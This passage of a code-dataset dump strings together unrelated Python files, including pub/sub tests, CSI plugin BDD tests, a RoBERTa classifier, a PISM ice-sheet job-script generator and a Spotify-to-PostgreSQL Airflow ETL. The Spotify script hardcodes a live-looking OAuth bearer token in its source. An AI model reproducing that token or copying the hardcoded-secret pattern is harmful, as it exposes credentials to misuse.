Engineering/CapSimulatorCurve.py","file_name":"CapSimulatorCurve.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13560142873","text":"from __future__ import print_function\nimport datetime\nimport logging\nimport time\n\nimport pytest\n\nlogging.basicConfig()\n\n\ndef test_get_all_messages(components, scheduler, pubsub):\n \"\"\"Verify we get at least the 95% of the messages\"\"\"\n # We want each property value to be published every `iterval_time`\n # seconds, for a `total_time` number of seconds\n interval_time = 0.1\n total_time = 5 # Number of seconds we will publish\n properties = ('position', 'current')\n pubsub.psubscribe('test*')\n for component in components:\n for prop in properties:\n scheduler.add_attribute_job(\n component,\n prop,\n timer=interval_time,\n channel='test/%s/%s' % (component.name, prop))\n\n t0 = datetime.datetime.now()\n messages = []\n while True:\n message = pubsub.get_message()\n delta = datetime.datetime.now() - t0\n delay = delta.seconds + float(delta.microseconds)/10**6\n if message:\n messages.append(message)\n if delay >= total_time:\n break\n time.sleep(interval_time/(5.0 * len(components)))\n # Number of messages\n nmessages = len(messages) - 1 # Do not count the subscription message\n expected = len(components) * len(properties) * int(delay/interval_time)\n assert nmessages > expected*0.80 # Get at least the 80% of all messages\n\n print('\\n')\n print('Number of messages: ', nmessages)\n print('Expected: ', expected)\n print('messages[1]: ', messages[1])\n print('\\n')\n\n\nif __name__ == '__main__':\n pytest.main()\n","repo_name":"discos/suricate","sub_path":"tests/monitor/test_performances.py","file_name":"test_performances.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37918808408","text":"import argparse\n\n\nclass Arguments:\n def __init__(self, images_paths, inplace, output_dir, padding):\n self.images_paths = images_paths\n self.inplace = inplace\n self.output_dir = output_dir\n self.padding = padding\n\n\ndef parse():\n parser = argparse.ArgumentParser(\n description='A program to crop a human face to a square',\n formatter_class=argparse.RawTextHelpFormatter)\n\n parser.add_argument(\n '-s',\n '--sources',\n required=True,\n metavar='image_path',\n type=str,\n dest='images_paths',\n nargs='+',\n help='The images for processing')\n\n output_group = parser.add_mutually_exclusive_group(required=True)\n\n output_group.add_argument(\n '-i',\n '--inplace',\n dest='inplace',\n action='store_true',\n help='Overwrite the source files with the corresponding result')\n\n output_group.add_argument(\n '-d',\n '--dir',\n metavar='output_dir',\n type=str,\n dest='output_dir',\n help='The directory to place the resulting images')\n\n parser.add_argument(\n '-p',\n '--padding',\n default=50,\n metavar='padding_percentage',\n type=int,\n dest='padding',\n help='The padding for the cropped square face image')\n\n args = parser.parse_args()\n\n return Arguments(\n images_paths=args.images_paths,\n inplace=args.inplace,\n output_dir=args.output_dir,\n padding=args.padding)\n","repo_name":"hugdru/face-square-image","sub_path":"face_square_image/command_line.py","file_name":"command_line.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37675683522","text":"from generators.random_solution_generator import random_solution\nfrom feasibility_checking.feasibility_check import check_solution\n\n\ndef no_zeroes(sol):\n if sol[len(sol) - 1] == 0:\n return False\n if sol[0] == 0:\n return False\n for i in range(len(sol) - 1):\n if sol[i] == 0 and sol[i + 1] == 0:\n return False\n return True\n\n\ndef brute_force_random_generator():\n while True:\n sol = random_solution()\n print(sol)\n # print(\"\\r %s\" % sol, end='')\n if check_solution(sol) and no_zeroes(sol):\n print(\"Valid:\", check_solution(sol))\n break\n","repo_name":"chrhein/metaheuristics","sub_path":"tools/brute_force.py","file_name":"brute_force.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26167182952","text":"\"\"\"CSI node Identity RPC tests.\"\"\"\nimport os\nimport threading\nimport time\nfrom pytest_bdd import (\n given,\n scenario,\n then,\n when,\n)\n\nimport pytest\nimport docker\nimport subprocess\nimport csi_pb2 as pb\n\nfrom common.csi import CsiHandle\nfrom common.deployer import Deployer\n\n\n@pytest.fixture(scope=\"module\")\ndef setup():\n Deployer.start(1, csi_node=True)\n yield\n Deployer.stop()\n\n\n@scenario(\"identity.feature\", \"get plugin information\")\ndef test_plugin_info(setup):\n \"\"\"get plugin information\"\"\"\n\n\n@scenario(\"identity.feature\", \"get plugin capabilities\")\ndef test_plugin_capabilities():\n \"\"\"get plugin capabilities\"\"\"\n\n\n@pytest.fixture(scope=\"module\")\ndef fix_socket_permissions(setup):\n subprocess.run(\n [\"sudo\", \"chmod\", \"go+rw\", \"/var/tmp/csi-app-node-1.sock\"], check=True\n )\n yield\n\n\ndef csi_rpc_handle():\n return CsiHandle(\"unix:///var/tmp/csi-app-node-1.sock\")\n\n\n@given(\"a running CSI node plugin\", target_fixture=\"csi_instance\")\ndef a_csi_plugin(fix_socket_permissions):\n return csi_rpc_handle()\n\n\n@when(\"a GetPluginInfo request is sent to CSI node\", target_fixture=\"info_request\")\ndef plugin_information_info_request(csi_instance):\n return csi_instance.identity.GetPluginInfo(pb.GetPluginInfoRequest())\n\n\n@then(\"CSI node should report its name and version\")\ndef check_csi_node_info(info_request):\n assert info_request.name == \"io.openebs.csi-mayastor\"\n assert info_request.vendor_version == \"1.0.0\"\n\n\n@when(\n \"a GetPluginCapabilities request is sent to CSI node\",\n target_fixture=\"caps_request\",\n)\ndef plugin_information_info_request(csi_instance):\n return csi_instance.identity.GetPluginCapabilities(\n pb.GetPluginCapabilitiesRequest()\n )\n\n\n@then(\"CSI node should report its capabilities\")\ndef check_csi_node_info(caps_request):\n all_capabilities = [\n pb.PluginCapability.Service.Type.CONTROLLER_SERVICE,\n pb.PluginCapability.Service.Type.VOLUME_ACCESSIBILITY_CONSTRAINTS,\n ]\n\n assert len(caps_request.capabilities) == len(\n all_capabilities\n ), \"Wrong amount of plugin capabilities reported\"\n\n for c in caps_request.capabilities:\n ct = c.service.type\n assert ct in all_capabilities, \"Unexpected capability reported: %s\" % str(ct)\n","repo_name":"openebs/mayastor-control-plane","sub_path":"tests/bdd/features/csi/node/test_identity.py","file_name":"test_identity.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"37"} +{"seq_id":"30084503677","text":"# Cubic permutations\n\ndef is_permutation(first: str, second: str) -> bool:\n first_digits: list[str] = [digit for digit in first]\n second_digits: list[str] = [digit for digit in second]\n\n for digit in first_digits:\n if first_digits.count(digit) != second_digits.count(digit):\n return False\n\n return len(first_digits) == len(second_digits)\n\n\n# cube_map: dict[int,str] = {}\n\n# for n in range(10_001):\n# cube_map[n] = str(n * n * n)\n\n# cubes = list(cube_map.values())\n\ndef cube(n: int) -> str:\n return str(n * n * n)\n\nlimit: int = 10_000\n\ndef smallest_permutable_cube(num_permutations: int):\n for i in range(limit):\n permuations: list[str] = []\n\n for j in range(i+1, limit):\n if is_permutation(cube(i), cube(j)):\n permuations.append((j, cube(j)))\n \n if len(permuations) == num_permutations - 1: # counting self\n print((i, cube(i)), len(permuations), permuations)\n return\n\n\nsmallest_permutable_cube(5)","repo_name":"rednur01/ProjectEuler","sub_path":"062/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41719600864","text":"\n\"\"\"\nmodel作成\n\"\"\"\nimport torch.nn as nn\nfrom transformers import AdamW, AutoModel, AutoTokenizer\n\n\n# BERT-model\nclass Classifier_RoBERTa(nn.Module):\n def __init__(self, model_name, num_classes=4):\n super().__init__()\n\n self.bert = AutoModel.from_pretrained(model_name)\n self.dropout = nn.Dropout(0.1)\n self.linear = nn.Linear(768, num_classes)\n nn.init.normal_(self.linear.weight, std=0.02)\n nn.init.zeros_(self.linear.bias)\n\n def forward(self, input_ids, attention_mask):\n output, _ = self.bert(\n input_ids = input_ids,\n attention_mask = attention_mask,\n return_dict=False) \n output = output[:, 0, :]\n output = self.dropout(output)\n output = self.linear(output)\n return output","repo_name":"Unagi2/job_classification","sub_path":"model_RoBERTa.py","file_name":"model_RoBERTa.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"601318037","text":"import itertools\nfrom collections import OrderedDict\nimport csv\nimport numpy as np\nimport os\nimport sys\nimport shlex\nfrom os.path import join, abspath, realpath, dirname\nimport pandas as pd\n\ntry:\n import subprocess32 as sub\nexcept:\n import subprocess as sub\n\nfrom argparse import ArgumentParser, ArgumentDefaultsHelpFormatter\nimport sys\n\n\ndef current_script_directory():\n import inspect\n\n filename = inspect.stack(0)[0][1]\n return realpath(dirname(filename))\n\n\nscript_directory = current_script_directory()\n\nsys.path.append(join(script_directory, \"../resources\"))\nfrom resources import *\n\n\ndef map_dict(val, mdict):\n try:\n return mdict[val]\n except:\n return val\n\n\ngrid_choices = [\n 18000,\n 9000,\n 6000,\n 4500,\n 3600,\n 3000,\n 2400,\n 1800,\n 1500,\n 1200,\n 900,\n 600,\n 450,\n 300,\n 150,\n]\n\n# set up the option parser\nparser = ArgumentParser(formatter_class=ArgumentDefaultsHelpFormatter)\nparser.description = \"Generating scripts for warming experiments.\"\nparser.add_argument(\"FILE\", nargs=1, help=\"Input file to restart from\", default=None)\nparser.add_argument(\n \"-n\",\n \"--n_procs\",\n dest=\"n\",\n type=int,\n help=\"\"\"number of cores/processors. default=140.\"\"\",\n default=140,\n)\nparser.add_argument(\n \"-w\",\n \"--wall_time\",\n dest=\"walltime\",\n help=\"\"\"walltime. default: 100:00:00.\"\"\",\n default=\"100:00:00\",\n)\nparser.add_argument(\n \"-q\",\n \"--queue\",\n dest=\"queue\",\n choices=list_queues(),\n help=\"\"\"queue. default=long.\"\"\",\n default=\"long\",\n)\nparser.add_argument(\n \"-d\",\n \"--domain\",\n dest=\"domain\",\n choices=[\"gris\", \"gris_ext\", \"jib\"],\n help=\"sets the modeling domain\",\n default=\"gris\",\n)\nparser.add_argument(\n \"--exstep\",\n dest=\"exstep\",\n help=\"Writing interval for spatial time series\",\n default=1,\n)\nparser.add_argument(\n \"-f\",\n \"--o_format\",\n dest=\"oformat\",\n choices=[\"netcdf3\", \"netcdf4_parallel\", \"netcdf4_serial\", \"pnetcdf\"],\n help=\"output format\",\n default=\"netcdf4_serial\",\n)\nparser.add_argument(\n \"-g\",\n \"--grid\",\n dest=\"grid\",\n type=int,\n choices=grid_choices,\n help=\"horizontal grid resolution\",\n default=1500,\n)\nparser.add_argument(\n \"--i_dir\",\n dest=\"input_dir\",\n help=\"input directory\",\n default=abspath(join(script_directory, \"..\")),\n)\nparser.add_argument(\n \"--o_dir\", dest=\"output_dir\", help=\"output directory\", default=\"test_dir\"\n)\nparser.add_argument(\n \"--o_size\",\n dest=\"osize\",\n choices=[\"small\", \"medium\", \"big\", \"big_2d\", \"custom\"],\n help=\"output size type\",\n default=\"custom\",\n)\nparser.add_argument(\n \"-s\",\n \"--system\",\n dest=\"system\",\n choices=list_systems(),\n help=\"computer system to use.\",\n default=\"pleiades_broadwell\",\n)\nparser.add_argument(\n \"-b\",\n \"--bed_type\",\n dest=\"bed_type\",\n choices=list_bed_types(),\n help=\"output size type\",\n default=\"ctrl\",\n)\nparser.add_argument(\n \"--spatial_ts\",\n dest=\"spatial_ts\",\n choices=[\"basic\", \"standard\", \"none\", \"hydro\"],\n help=\"output size type\",\n default=\"basic\",\n)\nparser.add_argument(\n \"--hydrology\",\n dest=\"hydrology\",\n choices=[\"null\", \"diffuse\", \"routing\", \"distributed\"],\n help=\"Basal hydrology model.\",\n default=\"diffuse\",\n)\nparser.add_argument(\n \"-p\",\n \"--params\",\n dest=\"params_list\",\n help=\"Comma-separated list with params for sensitivity\",\n default=None,\n)\nparser.add_argument(\n \"--stable_gl\",\n dest=\"float_kill_calve_near_grounding_line\",\n action=\"store_false\",\n help=\"Stable grounding line\",\n default=True,\n)\nparser.add_argument(\n \"--hot_spot\",\n dest=\"hot_spot\",\n action=\"store_true\",\n help=\"Use hotpsot\",\n default=False,\n)\nparser.add_argument(\n \"--stress_balance\",\n dest=\"stress_balance\",\n choices=[\"sia\", \"ssa+sia\", \"ssa\", \"blatter\"],\n help=\"stress balance solver\",\n default=\"ssa+sia\",\n)\nparser.add_argument(\n \"--dataset_version\",\n dest=\"version\",\n choices=[\n \"2\",\n \"3\",\n \"3a\",\n \"4\",\n \"1980\",\n \"1980v3\",\n \"1_RAGIS\",\n \"5_RAGIS\",\n \"2021\",\n \"2022\",\n ],\n help=\"Input data set version\",\n default=\"2022\",\n)\nparser.add_argument(\n \"--vertical_velocity_approximation\",\n dest=\"vertical_velocity_approximation\",\n choices=[\"centered\", \"upstream\"],\n help=\"How to approximate vertical velocities\",\n default=\"upstream\",\n)\nparser.add_argument(\n \"-e\",\n \"--ensemble_file\",\n dest=\"ensemble_file\",\n help=\"File that has all combinations for ensemble study\",\n default=\"../uncertainty_quantification/initialization.csv\",\n)\nparser.add_argument(\n \"-L\",\n \"--comp_level\",\n dest=\"compression_level\",\n help=\"Compression level for output file.\",\n default=2,\n)\n\nparser.add_argument(\n \"--start_year\", dest=\"start_year\", type=int, help=\"Simulation start year\", default=0\n)\nparser.add_argument(\n \"--duration\", dest=\"duration\", type=int, help=\"Years to simulate\", default=50\n)\nparser.add_argument(\n \"--step\", dest=\"step\", type=int, help=\"Step in years for restarting\", default=50\n)\n\noptions = parser.parse_args()\n\nnn = options.n\ninput_dir = abspath(options.input_dir)\noutput_dir = abspath(options.output_dir)\nspatial_tmp_dir = abspath(options.output_dir + \"_tmp\")\n\ncompression_level = options.compression_level\noformat = options.oformat\nosize = options.osize\nqueue = options.queue\nwalltime = options.walltime\nsystem = options.system\n\nensemble_file = options.ensemble_file\n\nspatial_ts = options.spatial_ts\n\nbed_type = options.bed_type\nclimate = \"flux\"\nexstep = options.exstep\nfloat_kill_calve_near_grounding_line = options.float_kill_calve_near_grounding_line\ngrid = options.grid\nhydrology = options.hydrology\nstress_balance = options.stress_balance\nvertical_velocity_approximation = options.vertical_velocity_approximation\nversion = options.version\nocean = \"const\"\nhot_spot = options.hot_spot\n\ndomain = options.domain\npism_exec = generate_domain(domain)\n\nif options.FILE is None:\n print(\"Missing input file\")\n import sys\n\n sys.exit()\nelse:\n input_file = options.FILE[0]\n\nif domain.lower() in (\"greenland_ext\", \"gris_ext\"):\n pism_dataname = (\n \"$input_dir/data_sets/bed_dem/pism_Greenland_ext_{}m_mcb_jpl_v{}_{}.nc\".format(\n grid, version, bed_type\n )\n )\nelse:\n pism_dataname = (\n \"$input_dir/data_sets/bed_dem/pism_Greenland_{}m_mcb_jpl_v{}_{}.nc\".format(\n grid, version, bed_type\n )\n )\n\nclimate_file = \"$input_dir/data_sets/climate_forcing/DMI-HIRHAM5_GL2_ERAI_2001_2014_YDM_BIL_EPSG3413_{}m.nc\".format(\n grid\n)\n\n# regridvars = \"litho_temp,enthalpy,age,tillwat,bmelt,ice_area_specific_volume,thk\"\nregridvars = \"litho_temp,enthalpy,age,tillwat,bmelt,ice_area_specific_volume\"\n\ndirs = {\"output\": \"$output_dir\", \"spatial_tmp\": \"$spatial_tmp_dir\"}\nfor d in [\"performance\", \"state\", \"scalar\", \"spatial\", \"jobs\", \"basins\"]:\n dirs[d] = \"$output_dir/{dir}\".format(dir=d)\n\nif spatial_ts == \"none\":\n del dirs[\"spatial\"]\n\n# use the actual path of the run scripts directory (we need it now and\n# not during the simulation)\nscripts_dir = join(output_dir, \"run_scripts\")\nif not os.path.isdir(scripts_dir):\n os.makedirs(scripts_dir)\n\n# use the actual path of the experiment table directory (we need it now and\n# not during the simulation)\nexp_dir = join(output_dir, \"experiments\")\nif not os.path.isdir(exp_dir):\n os.makedirs(exp_dir)\n\n# generate the config file *after* creating the output directory\npism_config = \"calibrate_config\"\npism_config_nc = join(output_dir, pism_config + \".nc\")\n\ncmd = \"ncgen -o {output} {input_dir}/config/{config}.cdl\".format(\n output=pism_config_nc, input_dir=input_dir, config=pism_config\n)\nsub.call(shlex.split(cmd))\n\n# these Bash commands are added to the beginning of the run scrips\nrun_header = \"\"\"# stop if a variable is not defined\nset -u\n# stop on errors\nset -e\n\n# path to the config file\nconfig=\"{config}\"\n# path to the input directory (input data sets are contained in this directory)\ninput_dir=\"{input_dir}\"\n# output directory\noutput_dir=\"{output_dir}\"\n# temporary directory for spatial files\nspatial_tmp_dir=\"{spatial_tmp_dir}\"\n\n# create required output directories\nfor each in {dirs};\ndo\n mkdir -p $each\ndone\n\n\"\"\".format(\n input_dir=input_dir,\n output_dir=output_dir,\n spatial_tmp_dir=spatial_tmp_dir,\n config=pism_config_nc,\n dirs=\" \".join(list(dirs.values())),\n)\nif system not in (\"debug\", \"pleiades\"):\n cmd = \"lfs setstripe -c -1 {}\".format(dirs[\"output\"])\n sub.call(shlex.split(cmd))\n cmd = \"lfs setstripe -c -1 {}\".format(dirs[\"spatial_tmp\"])\n sub.call(shlex.split(cmd))\n\n# ########################################################\n# set up parameters\n# ########################################################\n\nssa_e = 1.0\ntlftw = 0.1\n\nuq_df = pd.read_csv(ensemble_file)\nuq_df.fillna(False, inplace=True)\n\n\ntsstep = \"yearly\"\n\nscripts = []\nscripts_combinded = []\n\nsimulation_start_year = options.start_year\nsimulation_end_year = options.start_year + options.duration\nrestart_step = options.step\n\nif restart_step > (simulation_end_year - simulation_start_year):\n print(\"Error:\")\n print(\n (\n \"restart_step > (simulation_end_year - simulation_start_year): {} > {}\".format(\n restart_step, simulation_end_year - simulation_start_year\n )\n )\n )\n print(\"Try again\")\n import sys\n\n sys.exit(0)\n\nbatch_header, batch_system = make_batch_header(system, nn, walltime, queue)\n\nfor n, row in enumerate(uq_df.iterrows()):\n combination = row[1]\n print(combination)\n\n ttphi = \"{},{},{},{}\".format(\n combination[\"PHIMIN\"],\n combination[\"PHIMAX\"],\n combination[\"ZMIN\"],\n combination[\"ZMAX\"],\n )\n\n vversion = \"v\" + str(version)\n\n name_options = OrderedDict()\n m_id = combination[\"id\"]\n try:\n m_id = int(m_id)\n except:\n pass\n name_options[\"id\"] = m_id\n\n full_exp_name = \"_\".join(\n [\n vversion,\n \"_\".join([\"_\".join([k, str(v)]) for k, v in list(name_options.items())]),\n ]\n )\n full_outfile = \"g{grid}m_{experiment}.nc\".format(\n grid=grid, experiment=full_exp_name\n )\n\n # All runs in one script file for coarse grids that fit into max walltime\n script_combined = join(scripts_dir, \"cc_g{}m_{}_j.sh\".format(grid, full_exp_name))\n with open(script_combined, \"w\") as f_combined:\n\n outfiles = []\n job_no = 0\n for start in range(simulation_start_year, simulation_end_year, restart_step):\n job_no += 1\n\n end = start + restart_step\n\n experiment = \"_\".join(\n [\n vversion,\n \"_\".join(\n [\"_\".join([k, str(v)]) for k, v in list(name_options.items())]\n ),\n \"{}\".format(start),\n \"{}\".format(end),\n ]\n )\n\n script = join(scripts_dir, \"cc_g{}m_{}.sh\".format(grid, experiment))\n scripts.append(script)\n\n for filename in script:\n try:\n os.remove(filename)\n except OSError:\n pass\n\n if start == simulation_start_year:\n f_combined.write(batch_header)\n f_combined.write(run_header)\n\n with open(script, \"w\") as f:\n\n f.write(batch_header)\n f.write(run_header)\n\n outfile = \"{domain}_g{grid}m_{experiment}.nc\".format(\n domain=domain.lower(), grid=grid, experiment=experiment\n )\n\n pism = generate_prefix_str(pism_exec)\n\n general_params_dict = {\n \"profile\": join(\n dirs[\"performance\"],\n \"profile_${job_id}.py\".format(**batch_system),\n ),\n \"ys\": start,\n \"ye\": end,\n \"calendar\": \"365_day\",\n \"o\": join(dirs[\"state\"], outfile),\n \"o_format\": oformat,\n \"output.compression_level\": compression_level,\n \"config_override\": \"$config\",\n # \"energy.ch_warming.enabled\": True,\n \"stress_balance.blatter.coarsening_factor\": 4,\n \"blatter_Mz\": 17,\n \"bp_ksp_type\": \"gmres\",\n \"bp_pc_type\": \"mg\",\n \"bp_pc_mg_levels\": 3,\n \"bp_mg_levels_ksp_type\": \"richardson\",\n \"bp_mg_levels_pc_type\": \"sor\",\n \"bp_mg_coarse_ksp_type\": \"gmres\",\n \"bp_mg_coarse_pc_type\": \"bjacobi\",\n \"bp_snes_monitor_ratio\": \"\",\n \"bp_ksp_monitor\": \"\",\n \"bp_ksp_view_singularvalues\": \"\",\n \"bp_snes_ksp_ew\": 1,\n \"bp_snes_ksp_ew_version\": 3,\n }\n\n if start == simulation_start_year:\n general_params_dict[\"bootstrap\"] = \"\"\n general_params_dict[\"i\"] = pism_dataname\n if hot_spot:\n general_params_dict[\n \"energy.bedrock_thermal.file\"\n ] = f\"$input_dir/data_sets/bheatflux/Geothermal_Heat_Flux_Greenland_corrected_g{grid}m.nc\"\n general_params_dict[\"regrid_file\"] = input_file\n general_params_dict[\"regrid_vars\"] = regridvars\n else:\n general_params_dict[\"i\"] = regridfile\n\n if osize != \"custom\":\n general_params_dict[\"o_size\"] = osize\n else:\n general_params_dict[\n \"output.sizes.medium\"\n ] = \"sftgif,velsurf_mag,tempicethk_basal,velsurf,velbase_mag\"\n\n if start == simulation_start_year:\n grid_params_dict = generate_grid_description(grid, domain)\n else:\n grid_params_dict = generate_grid_description(\n grid, domain, restart=True\n )\n\n sb_params_dict = {\n \"sia_e\": combination[\"SIAE\"],\n \"ssa_e\": 1.0,\n \"ssa_n\": combination[\"SSAN\"],\n \"pseudo_plastic_q\": combination[\"PPQ\"],\n \"till_effective_fraction_overburden\": combination[\"TEFO\"],\n \"vertical_velocity_approximation\": vertical_velocity_approximation,\n \"basal_yield_stress.mohr_coulomb.till_log_factor_transportable_water\": tlftw,\n \"basal_resistance.pseudo_plastic.u_threshold\": 100,\n }\n\n if start == simulation_start_year:\n sb_params_dict[\"topg_to_phi\"] = ttphi\n\n # If stress balance choice is made in file, overwrite command line option\n stress_balance_params_dict = generate_stress_balance(\n stress_balance, sb_params_dict\n )\n\n climate_params_dict = generate_climate(\n climate, force_to_thickness_file=pism_dataname\n )\n\n hydro_params_dict = generate_hydrology(hydrology)\n\n calving_params_dict = generate_calving(\n \"vonmises_calving\", front_retreat_file=pism_dataname\n )\n scalar_ts_dict = generate_scalar_ts(\n outfile,\n tsstep,\n start=simulation_start_year,\n end=simulation_end_year,\n odir=dirs[\"scalar\"],\n )\n\n all_params_dict = merge_dicts(\n general_params_dict,\n grid_params_dict,\n stress_balance_params_dict,\n climate_params_dict,\n hydro_params_dict,\n calving_params_dict,\n scalar_ts_dict,\n )\n\n if not spatial_ts == \"none\":\n exvars = spatial_ts_vars[spatial_ts]\n spatial_ts_dict = generate_spatial_ts(\n outfile, exvars, exstep, odir=dirs[\"spatial_tmp\"], split=False\n )\n\n all_params_dict = merge_dicts(all_params_dict, spatial_ts_dict)\n if stress_balance == \"blatter\":\n del all_params_dict[\"skip\"]\n all_params_dict[\"time_stepping.adaptive_ratio\"] = 25\n\n all_params = \" \\\\\\n \".join(\n [\"-{} {}\".format(k, v) for k, v in list(all_params_dict.items())]\n )\n\n if system == \"debug\":\n redirect = \" 2>&1 | tee {jobs}/job_{job_no}.${job_id}\"\n else:\n redirect = \" > {jobs}/job_{job_no}.${job_id} 2>&1\"\n\n template = \"{mpido} {pism} {params}\" + redirect\n\n context = merge_dicts(\n batch_system,\n dirs,\n {\"job_no\": job_no, \"pism\": pism, \"params\": all_params},\n )\n cmd = template.format(**context)\n\n f.write(cmd)\n f.write(\"\\n\")\n f.write(batch_system.get(\"footer\", \"\"))\n\n f_combined.write(cmd)\n f_combined.write(\"\\n\\n\")\n\n f_combined.write(\"\\n\")\n f_combined.write(\"\\n\")\n if not spatial_ts == \"none\":\n f_combined.write(\n \"mv {tmpfile} {ofile}\\n\".format(\n tmpfile=spatial_ts_dict[\"extra_file\"],\n ofile=join(dirs[\"spatial\"], \"ex_\" + outfile),\n )\n )\n f_combined.write(\"\\n\")\n\n regridfile = join(dirs[\"state\"], outfile)\n outfiles.append(outfile)\n\n f_combined.write(batch_system.get(\"footer\", \"\"))\n\n scripts_combinded.append(script_combined)\n\nscripts = uniquify_list(scripts)\nscripts_combinded = uniquify_list(scripts_combinded)\nprint(\"\\n\".join([script for script in scripts]))\nprint(\"\\nwritten\\n\")\nprint(\"\\n\".join([script for script in scripts_combinded]))\nprint(\"\\nwritten\\n\")\n","repo_name":"pism/pism-gris","sub_path":"calibration/calibrate.py","file_name":"calibrate.py","file_ext":"py","file_size_in_byte":18440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"34172071564","text":"import datetime\r\n#import para poder usar los datos tipo flechas\r\nclass CONTACTO:\r\n #se define clase\r\n def __init__(self,NickName,Nombre,Correo,Telefono,FechaNacimiento,Gasto,Registro=datetime.datetime.now()):\r\n CONTACTO.NickName = NickName\r\n CONTACTO.Nombre= Nombre\r\n CONTACTO.Correo = Correo\r\n CONTACTO.Telefono= Telefono\r\n CONTACTO.FechaNacimiento = FechaNacimiento\r\n CONTACTO.Gasto= Gasto\r\n CONTACTO.Registro= Registro","repo_name":"DebanhiCassandra/Deb_repository","sub_path":"PROGRAMMING.py","file_name":"PROGRAMMING.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20511751158","text":"import pandas as pd\nimport requests as rq\nimport sys\nimport json\nimport datetime\nimport psycopg2\nfrom airflow import DAG\nfrom airflow.operators.python import PythonOperator\nimport sys\nsys.path.append('/opt/airflow/dags/spotify-etl')\nfrom config import config\n\n\nTOKEN = 'BQATPzmpdIY2aeVTOetd2afWUGWUpNXH2nuAUZtbXGcTD1LOZFyieU9-PfqvIMy74A3cfyacyPSzX4zBrZ2kpSLE5-4nZTohDmLF442ZHoYqJAxEjYXh6iSlLVNUx-nOXxyOrHi_wVdOJs8A1PXipA'\n\ndef get_recently_played_songs():\n headers = {\n \"Accept\" : \"application/json\",\n \"Content-Type\":\"application/json\",\n \"Authorization\":\"Bearer {token}\".format(token=TOKEN)\n }\n\n try:\n today = datetime.datetime.now()\n yesterday = today -datetime.timedelta(days=1)\n yesterday_unix_timestamp = int(yesterday.timestamp())\n r = rq.get('https://api.spotify.com/v1/me/player/recently-played?after={time}'.format(time=yesterday_unix_timestamp),headers=headers)\n data = r.json()\n song_names = []\n artist_names = []\n played_at_list =[]\n timestamps = []\n\n for song in data['items']:\n song_names.append(song['track']['name'])\n artist_names.append(song['track']['album']['artists'][0]['name'])\n played_at_list.append(song['played_at'])\n timestamps.append(song['played_at'][0:10])\n \n song_dict = {\n \"song_name\" : song_names,\n \"artist_name\" : artist_names,\n \"played_at\": played_at_list,\n \"timestamp\" : timestamps\n }\n\n song_df = pd.DataFrame(song_dict, columns=['song_name','artist_name','played_at','timestamp'])\n except(Exception) as error:\n raise Exception(\"Error consulting spotify API: {error}\".format(error=error))\n\n song_df.to_csv('song_df.csv',index=False)\n\ndef check_valid_df(df:pd.DataFrame) -> bool:\n if df.empty:\n print('No songs downloaded. Finishing execution.')\n return False \n\n if pd.Series(df['played_at']).is_unique():\n pass\n else:\n raise Exception(\"Primary key check is violated\")\n \n if df.isnull().values.any():\n raise Exception(\"Null value found\")\n yesterday = datetime.datetime.now() - datetime.timedelta(days=1)\n yesterday = yesterday.replace(hour= 0,minute = 0, second = 0,microsecond= 0)\n timestamps = df[\"timestamps\"].to_list()\n for timestamp in timestamps:\n if datetime.datetime.strptime(timestamp, \"%Y-%m-%d\") != yesterday:\n raise Exception(\"At least one of the songs do not come from the last 24 hours\")\n return True\n\ndef check_postgresql_connection() -> bool:\n try:\n params = config()\n print(\"Connecting to database...\")\n conn = psycopg2.connect(host=params['host'],database=params['database'],user=params['user'],password=params['password'],port=params['port'])\n cur = conn.cursor()\n print('PostgreSQL database version: ')\n cur.execute('SELECT version()')\n db_version= cur.fetchone()\n print(db_version)\n cur.close()\n except(Exception, psycopg2.DatabaseError) as error:\n raise Exception((\"Error connecting to database: {error}\".format(error=error)))\n finally:\n if conn is not None:\n conn.close()\n return True\n\ndef get_connection():\n \"\"\"Connect to database and return connection object\"\"\"\n try:\n params = config()\n conn = psycopg2.connect(host=params['host'],database=params['database'],user=params['user'],password=params['password'],port=params['port'])\n if conn is not None:\n return conn \n except(Exception,psycopg2.DatabaseError) as error:\n raise Exception(\"Error connecting to database: {error}\".format(error=error))\n return conn\n\ndef create_table_my_played()-> bool:\n sql = \"\"\"CREATE TABLE IF NOT EXISTS my_played_tracks(\n song_name VARCHAR(200),\n artist_name VARCHAR(200),\n played_at VARCHAR(200),\n timestamp VARCHAR(200),\n CONSTRAINT primary_key_constraint PRIMARY KEY (played_at)\n )\n \"\"\"\n try:\n conn = get_connection()\n cur = conn.cursor()\n cur.execute(sql)\n conn.commit()\n print(\"Created table my_played_at\")\n cur.close()\n except:\n conn.rollback()\n raise Exception(\"Error creating my_played_at table\")\n finally:\n if conn is not None:\n conn.close()\n \n\ndef insert_into_database() -> bool:\n \"\"\"Copy data to memory then insert into database\"\"\"\n song_df = pd.read_csv('song_df.csv', index_col= None)\n conn = get_connection()\n try:\n print(\"Started insertion...\")\n tuples = [tuple(x) for x in song_df.to_numpy()]\n cols = ','.join(list(song_df.columns))\n\n \n cur = conn.cursor()\n\n values = [cur.mogrify(\"(%s,%s,%s,%s)\", tup).decode('utf-8') for tup in tuples]\n query = \"INSERT INTO %s(%s) VALUES \" % (\"my_played_tracks\", cols) + \",\".join(values)\n\n cur.execute(query,tuples)\n conn.commit()\n cur.close()\n print(\"Insertion finished!\")\n except(Exception, psycopg2.DatabaseError) as error:\n conn.rollback()\n raise Exception(\"Error: {error}\".format(error=error))\n finally:\n if conn is not None:\n 